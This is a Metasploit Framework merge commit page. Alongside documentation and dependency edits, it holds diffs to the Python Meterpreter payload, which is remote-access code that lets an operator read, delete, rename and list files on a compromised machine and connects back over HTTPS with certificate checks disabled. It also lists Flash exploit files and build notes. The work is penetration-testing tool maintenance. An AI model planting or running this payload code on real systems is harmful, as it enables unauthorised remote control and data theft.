Skip to content

Commit 2ab4584

Browse files
committed
Merge remote-tracking branch 'upstream/master' into staging/single-vuln-push
2 parents 18e3a78 + b770f8d commit 2ab4584

File tree

105 files changed

+5515
-967
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

105 files changed

+5515
-967
lines changed

.gitignore

Lines changed: 1 addition & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -67,17 +67,7 @@ external/source/exploits/**/Release
6767

6868
# Avoid checking in Meterpreter binaries. These are supplied upstream by
6969
# the meterpreter_bins gem.
70-
data/meterpreter/elevator.*.dll
71-
data/meterpreter/ext_server_espia.*.dll
72-
data/meterpreter/ext_server_extapi.*.dll
73-
data/meterpreter/ext_server_incognito.*.dll
74-
data/meterpreter/ext_server_kiwi.*.dll
75-
data/meterpreter/ext_server_lanattacks.*.dll
76-
data/meterpreter/ext_server_mimikatz.*.dll
77-
data/meterpreter/ext_server_priv.*.dll
78-
data/meterpreter/ext_server_stdapi.*.dll
79-
data/meterpreter/metsrv.*.dll
80-
data/meterpreter/screenshot.*.dll
70+
data/meterpreter/*.dll
8171

8272
# Avoid checking in Meterpreter libs that are built from
8373
# private source. If you're interested in this functionality,

CONTRIBUTING.md

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
44
world -- a better place!
55

66
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
7-
Please try to be as specific as you can about your problem, include steps
8-
to reproduce (cut and paste from your console output if it's helpful), and
7+
Please try to be as specific as you can about your problem; include steps
8+
to reproduce (cut and paste from your console output if it's helpful) and
99
what you were expecting to happen.
1010

1111
Are you about to report a security vulnerability in Metasploit itself?
@@ -18,7 +18,7 @@ Metasploit module? If so, read on...
1818

1919
# Contributing to Metasploit
2020

21-
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
21+
What you see here in CONTRIBUTING.md is a bullet point list of the do's
2222
and don'ts of how to make sure *your* valuable contributions actually
2323
make it into Metasploit's master branch.
2424

@@ -27,7 +27,7 @@ closed. Sorry!
2727

2828
This is intended to be a **short** list. The [wiki] is much more
2929
exhaustive and reveals many mysteries. If you read nothing else, take a
30-
look at the standard [development environment setup] guide,
30+
look at the standard [development environment setup] guide
3131
and Metasploit's [Common Coding Mistakes].
3232

3333
## Code Contributions
@@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
5252
#### New Modules
5353

5454
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
55-
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
55+
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
5656
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
5757
* **Don't** include more than one module per pull request.
5858

@@ -80,19 +80,19 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
8080
* **Do** report vulnerabilities in Rapid7 software directly to [email protected].
8181
* **Do** write a detailed description of your bug and use a descriptive title.
8282
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
83-
* **Don't** file duplicate reports - search for your bug before filing a new report.
83+
* **Don't** file duplicate reports; search for your bug before filing a new report.
8484

8585
If you need some more guidance, talk to the main body of open
86-
source contributors over on the [Freenode IRC channel]
87-
or e-mail us at [metasploit-hackers] mailing list.
86+
source contributors over on the [Freenode IRC channel],
87+
or e-mail us at the [metasploit-hackers] mailing list.
8888

8989
Also, **thank you** for taking the few moments to read this far! You're
9090
already way ahead of the curve, so keep it up!
9191

9292
[Issue Tracker]:http://r-7.co/MSF-BUGv1
9393
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
9494
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
95-
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
95+
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
9696
[development environment setup]:http://r-7.co/MSF-DEV
9797
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
9898
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
104104
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
105105
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
106106
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
107-
[API]:https://rapid7.github.io/metasploit-framework/api/
108-
[RSpec]:http://rspec.info/
109-
[Better Specs]:http://betterspecs.org/
110-
[YARD]:http://yardoc.org/
107+
[API]:https://rapid7.github.io/metasploit-framework/api
108+
[RSpec]:http://rspec.info
109+
[Better Specs]:http://betterspecs.org
110+
[YARD]:http://yardoc.org
111111
[Issues]:https://github.com/rapid7/metasploit-framework/issues
112112
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
113113
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 0.3.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.16)
12+
meterpreter_bins (= 0.0.17)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -132,7 +132,7 @@ GEM
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.16)
135+
meterpreter_bins (0.0.17)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)

README.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
33
The Metasploit Framework is released under a BSD-style license. See
44
COPYING for more details.
55

6-
The latest version of this software is available from https://metasploit.com/
6+
The latest version of this software is available from: https://metasploit.com
77

88
Bug tracking and development information can be found at:
99
https://github.com/rapid7/metasploit-framework
@@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
2020
Installing
2121
--
2222

23-
Generally, you should use [the free installer](https://www.metasploit.com/download)
24-
which contains all dependencies and will get you up and running with a
23+
Generally, you should use [the free installer](https://www.metasploit.com/download),
24+
which contains all of the dependencies and will get you up and running with a
2525
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
2626
you'd like to deal with dependencies on your own.
2727

@@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
3434

3535
Contributing
3636
--
37-
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
38-
walk you through the whole process starting from installing all the
37+
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
38+
walk you through the whole process from installing all the
3939
dependencies, to cloning the repository, and finally to submitting a
40-
pull request. For slightly more info, see
40+
pull request. For slightly more information, see
4141
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
4242

4343

data/exploits/CVE-2015-0313/msf.swf

17.5 KB
Binary file not shown.

data/meterpreter/ext_server_stdapi.py

Lines changed: 25 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
is_bytes = lambda obj: issubclass(obj.__class__, str)
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
62+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
6263
else:
6364
if isinstance(__builtins__, dict):
6465
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@@ -69,6 +70,7 @@
6970
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
7071
NULL_BYTE = bytes('\x00', 'UTF-8')
7172
long = int
73+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
7274

7375
if has_ctypes:
7476
#
@@ -530,7 +532,7 @@ def get_stat_buffer(path):
530532
if hasattr(si, 'st_blocks'):
531533
blocks = si.st_blocks
532534
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
533-
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
535+
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
534536
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
535537
st_buf += struct.pack('<II', blksize, blocks)
536538
return st_buf
@@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
630632
fmode = fmode.replace('bb', 'b')
631633
else:
632634
fmode = 'rb'
633-
file_h = open(fpath, fmode)
635+
file_h = open(unicode(fpath), fmode)
634636
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
635637
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
636638
return ERROR_SUCCESS, response
@@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
923925
@meterpreter.register_function
924926
def stdapi_fs_chdir(request, response):
925927
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
926-
os.chdir(wd)
928+
os.chdir(unicode(wd))
927929
return ERROR_SUCCESS, response
928930

929931
@meterpreter.register_function
930932
def stdapi_fs_delete(request, response):
931933
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
932-
os.unlink(file_path)
934+
os.unlink(unicode(file_path))
933935
return ERROR_SUCCESS, response
934936

935937
@meterpreter.register_function
936938
def stdapi_fs_delete_dir(request, response):
937939
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
940+
dir_path = unicode(dir_path)
938941
if os.path.islink(dir_path):
939942
del_func = os.unlink
940943
else:
@@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
945948
@meterpreter.register_function
946949
def stdapi_fs_delete_file(request, response):
947950
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
948-
os.unlink(file_path)
951+
os.unlink(unicode(file_path))
949952
return ERROR_SUCCESS, response
950953

951954
@meterpreter.register_function
@@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
971974
def stdapi_fs_file_move(request, response):
972975
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
973976
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
974-
os.rename(oldname, newname)
977+
os.rename(unicode(oldname), unicode(newname))
975978
return ERROR_SUCCESS, response
976979

977980
@meterpreter.register_function
978981
def stdapi_fs_getwd(request, response):
979-
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
982+
if hasattr(os, 'getcwdu'):
983+
wd = os.getcwdu()
984+
else:
985+
wd = os.getcwd()
986+
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
980987
return ERROR_SUCCESS, response
981988

982989
@meterpreter.register_function
983990
def stdapi_fs_ls(request, response):
984991
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
985-
path = os.path.abspath(path)
986-
contents = os.listdir(path)
987-
contents.sort()
988-
for x in contents:
989-
y = os.path.join(path, x)
990-
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
991-
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
992-
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
992+
path = os.path.abspath(unicode(path))
993+
dir_contents = os.listdir(path)
994+
dir_contents.sort()
995+
for file_name in dir_contents:
996+
file_path = os.path.join(path, file_name)
997+
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
998+
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
999+
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
9931000
return ERROR_SUCCESS, response
9941001

9951002
@meterpreter.register_function
@@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
10081015
@meterpreter.register_function
10091016
def stdapi_fs_mkdir(request, response):
10101017
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
1018+
dir_path = unicode(dir_path)
10111019
if not os.path.isdir(dir_path):
10121020
os.mkdir(dir_path)
10131021
return ERROR_SUCCESS, response
@@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
10161024
def stdapi_fs_search(request, response):
10171025
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
10181026
search_root = ('' or '.') # sometimes it's an empty string
1027+
search_root = unicode(search_root)
10191028
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
10201029
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
10211030
if recurse:
@@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
10561065
@meterpreter.register_function
10571066
def stdapi_fs_stat(request, response):
10581067
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
1059-
st_buf = get_stat_buffer(path)
1068+
st_buf = get_stat_buffer(unicode(path))
10601069
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
10611070
return ERROR_SUCCESS, response
10621071

data/meterpreter/meterpreter.py

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@
4141
is_bytes = lambda obj: issubclass(obj.__class__, str)
4242
bytes = lambda *args: str(*args[:1])
4343
NULL_BYTE = '\x00'
44+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
4445
else:
4546
if isinstance(__builtins__, dict):
4647
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@@ -51,6 +52,7 @@
5152
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
5253
NULL_BYTE = bytes('\x00', 'UTF-8')
5354
long = int
55+
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
5456

5557
#
5658
# Constants
@@ -262,7 +264,9 @@ def tlv_pack(*args):
262264
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
263265
else:
264266
value = tlv['value']
265-
if not is_bytes(value):
267+
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
268+
value = value.encode('UTF-8')
269+
elif not is_bytes(value):
266270
value = bytes(value, 'UTF-8')
267271
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
268272
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
@@ -389,11 +393,17 @@ def debug_print(self, msg):
389393
print(msg)
390394

391395
def driver_init_http(self):
396+
opener_args = []
397+
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
398+
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
399+
import ssl
400+
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
401+
ssl_ctx.check_hostname=False
402+
ssl_ctx.verify_mode=ssl.CERT_NONE
403+
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
392404
if HTTP_PROXY:
393-
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
394-
opener = urllib.build_opener(proxy_handler)
395-
else:
396-
opener = urllib.build_opener()
405+
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
406+
opener = urllib.build_opener(*opener_args)
397407
if HTTP_USER_AGENT:
398408
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
399409
urllib.install_opener(opener)

external/source/exploits/CVE-2015-0311/Main.as

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
// 2. Be support to support 16.0 as target-player (flex-config.xml).
44
// 3. Download the Flex SDK (4.6)
55
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
67
// 5. Build with: mxmlc -o msf.swf Main.as
78

89
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

0 commit comments

Comments
 (0)